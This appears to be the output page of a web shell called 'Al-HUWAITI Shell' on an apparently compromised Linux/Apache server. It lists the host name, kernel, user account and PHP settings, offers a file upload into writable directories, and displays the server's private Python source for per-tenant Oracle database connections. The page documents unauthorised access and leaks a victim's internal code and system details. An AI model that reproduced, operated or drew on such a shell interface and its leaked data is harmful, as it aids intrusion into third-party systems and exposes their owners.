Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /opt/dash_backend_new/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/dash_backend_new/app/tenant_oracle_db.py
# app/tenant_oracle_db.py
from dataclasses import dataclass
from typing import List

from typing import Optional, Dict
import cx_Oracle
from fastapi import Request

from .tenancy import get_tenant_settings
from .oracle_client import init_oracle_client_once


@dataclass(frozen=True)
class TenantContext:
    empresa: str
    unidades: List[int]
    oracle_user: str
    oracle_pass: str
    oracle_dsn: str
    sandbox: bool = False
    unidade_nomes: Optional[Dict[int, str]] = None


def get_tenant_context(request: Request) -> TenantContext:
    """
    Monta o contexto do tenant a partir do MySQL central (conexoes_proton),
    baseado no header X-Empresa.
    """
    s = get_tenant_settings(request)
    return TenantContext(
        empresa=s["empresa"],
        unidades=s["unidades"],
        oracle_user=s["oracle_user"],
        oracle_pass=s["oracle_pass"],
        oracle_dsn=s["oracle_dsn"],
        sandbox=bool(s.get("sandbox", False)),
        unidade_nomes=s.get("unidade_nomes"),
    )


def open_tenant_oracle_conn(ctx: TenantContext) -> cx_Oracle.Connection:
    if getattr(ctx, "sandbox", False):
        raise ValueError("Sandbox não permite conexão Oracle")
    """
    Abre conexão Oracle do tenant (empresa).
    ✅ Aqui garantimos que o Oracle Client foi inicializado antes (evita DPI-1047 no macOS).
    """
    init_oracle_client_once()

    return cx_Oracle.connect(
        user=ctx.oracle_user,
        password=ctx.oracle_pass,
        dsn=ctx.oracle_dsn,
        encoding="UTF-8",
        nencoding="UTF-8",
    )

Al-HUWAITI Shell